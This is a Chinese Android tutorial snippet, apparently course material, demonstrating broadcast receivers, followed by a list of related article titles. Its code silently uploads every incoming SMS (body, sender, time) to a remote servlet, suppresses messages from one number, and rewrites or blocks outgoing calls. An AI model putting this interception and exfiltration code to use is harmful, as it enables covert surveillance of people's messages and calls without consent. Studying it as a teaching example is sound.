清单中注册广播接收者

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="cn.itcast.smslistener"android:versionCode="1"android:versionName="1.0"><application android:icon="@drawable/icon" android:label="@string/app_name"><receiver android:name=".SMSBroadcastReceiver">                            <!-- 注册短信接收者 --><intent-filter android:priority="1000"><action android:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver><receiver android:name=".PhoneBroadcastReceiver">                          <!-- 注册电话接受者 --><intent-filter android:priority="1000"><action android:name="android.intent.action.NEW_OUTGOING_CALL"/></intent-filter></receiver></application><uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
</manifest> 

获取短信并上传网络,

public class SMSBroadcastReceiver extends BroadcastReceiver {
 @Overridepublic void onReceive(Context context, Intent intent) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");for(Object p : pdus){byte[] pdu = (byte[]) p;SmsMessage message = SmsMessage.createFromPdu(pdu);String content = message.getMessageBody();Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String receiveTime = format.format(date);String senderNumber = message.getOriginatingAddress();sendSMS(content, receiveTime, senderNumber);if("5556".equals(senderNumber)){abortBroadcast();//终止广播}}}private boolean sendSMS(String content, String receiveTime, String senderNumber) {try{String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;byte[] entity = params.getBytes();String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet";HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();conn.setConnectTimeout(5000);conn.setRequestMethod("POST");conn.setDoOutput(true);conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length", String.valueOf(entity.length));conn.getOutputStream().write(entity);if(conn.getResponseCode() == 200){return true;}}catch (Exception e) {e.printStackTrace();}return false;}
}

广播接收者有优先级,拨号属于有序广播,即使拦截依然会传给拨号器,所以可以将电话号码设置为空

因为系统拨号指定了接受者,故广播一定可以传达,abortBoardcast(),没用

public class PhoneBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {String number = getResultData();if("5556".equals(number)){setResultData(null);   终止广播没用,因为是有序广播}else{number = "12593"+ number;setResultData(number);}}
}

使用广播接收者获取短信及拦截电话相关推荐

  1. Android短信的发送和广播接收者实现短信的监听

    Android短信的发送和广播接收者实现短信的监听  要注意Android清单中权限的设置以及广播的注册监听实现 以下就是 Android清单的XML AndroidManifest.xml < ...

  2. android学习笔记---37_采用广播接收者实现系统短信操作_获取短信_收发短信等

    37_采用广播接收者实现短信操作 1.       原理:当系统接收到短信时候,会发出一个广播Intent,Intent的action名称为android.provider.Telephony.SMS ...

  3. Android 利用广播实现黑名单【指定号码】的短信的拦截 附源码下载链接

    Android 利用广播实现指定号码的短信的拦截 根据最近的学习内容,今天实现了利用广播进行指定号码的拦截 步骤: ①.写一个数据库的帮助类,实现对数据库的创建,总共创建两个数据库psms(受保护的短 ...

  4. Android从普通发送和接收短信到对短信进行拦截

    概述: 说实话,关于Android中对短信的一些相关操作是一个比较入门的东西.那我现在还要来写这一篇博客的原因只是因为现在开发中有相关内容,而又想将这些东西分享给更多的人来学习,同时在以后对Andro ...

  5. android 坚挺通话广播_关于短信黑名单 BroadCast

    看到Android中有关Broadcast Receiver组件方面的东西,广播被分为两种不同的类型:"普通广播(Normal broadcasts)"和"有序广播(Or ...

  6. Android获取短信验证码并自动填充的两种方式

    有些项目为了方便客户操作,减去客户输入短信验证码的时间,会要求安卓app能够获取收到的短信验证码并自动填充到输入框.所以,我整理了安卓获取短信验证码并自动填充输入框的两种方法,而且正式在项目中使用并无 ...

  7. 5.5 短信黑名单拦截

    1.在黑名单服务中, 动态代码创建短信广播接受者, 在服务开启时注册短信拦截广播意图过滤器, 在服务销毁时取消广播事件 2. 在广播接受者内部类中,判断来电号码是否在黑名单短信拦截和全部拦截模式中, ...

  8. python短信验证码_玩转python之获取短信验证码

    原标题:玩转python之获取短信验证码 对于初学者,如何利用第三方python开发包发送短信验证码,下面是具体的实现和记录过程! 环境:虚拟机上centos7平台,python3.7版本: 第三方短 ...

  9. Android 监听短信数据库过滤获取短信内容上传至服务器

    前言 Android 监听短信的方式有两种 1.监听短信数据库,数据库发生改变时回调. 2.监听短信广播 其中第二种方式由于国内各厂家的定制Android 可能导致无响应 目前测试 魅族 无法监听到短 ...

最新文章

  1. java = 与 == 同时使用问题 (例如 isRead = result == 0;)
  2. DARPA:我们需要一种新型的芯片技术来确保人工智能的长足发展
  3. 用mysql命令还原_mysql——数据还原——使用mysql命令还原
  4. Alibaba-AndFix Bug热修复框架原理及源码解析
  5. p:commandButton vs h:commandButton
  6. 处理程序“ExtensionlessUrlHandler-Integrated-4.0”在其模块列表
  7. 二叉树的先序、中序、后序遍历等基本操作c++实现
  8. 使用poi读写Excel
  9. JAVA时间操作类常用方法汇总
  10. evolving checkers players [Fogel and Chellapilla, 2002]
  11. 【元胞自动机】基于matlab保守策略元胞自动机三车道(不开放辅路,软件园不影响)交通流模型【含Matlab源码 1293期】
  12. 从宏杉合作伙伴大会看本土存储厂商的“逆袭”
  13. LFW pairs.txt解释
  14. 使用stress,压力测试K8S的POD cpu
  15. 动态图片怎么制作 html,怎么制作动态图片
  16. android.media.MediaCodec$CodecException: Error 0xfffffc0e
  17. UDAL 分布式数据库介绍(1)
  18. HTML 入门基础教程
  19. [运算放大器]佛朗哥笔记 - 电阻性反馈电路 - 差分放大器与仪表放大器
  20. 01背包问题---动态规划

热门文章

  1. 新修版的《天龙八部》与《射雕英雄传》
  2. Coursera 申请奖学金模板
  3. Agilent 33210A显示屏背光灯
  4. 网络革命:软件定义网络与网络虚拟化
  5. 写给Java架构师的一封信(内附架构学习路线)
  6. 大数据治理工程师_大数据工程师课|新公布的4个大数据治理面对的问题,这些方面越来越重要...
  7. Elsevier期刊模板2(官方要求+文章结构)
  8. 智能汽车时代,OEM软件自研与供应链分工模式“待解”
  9. 牛客练习赛43 Tachibana Kanade Loves Review C(最小生成树Kruskal)
  10. 气动高压球阀行业现状调研及趋势分析报告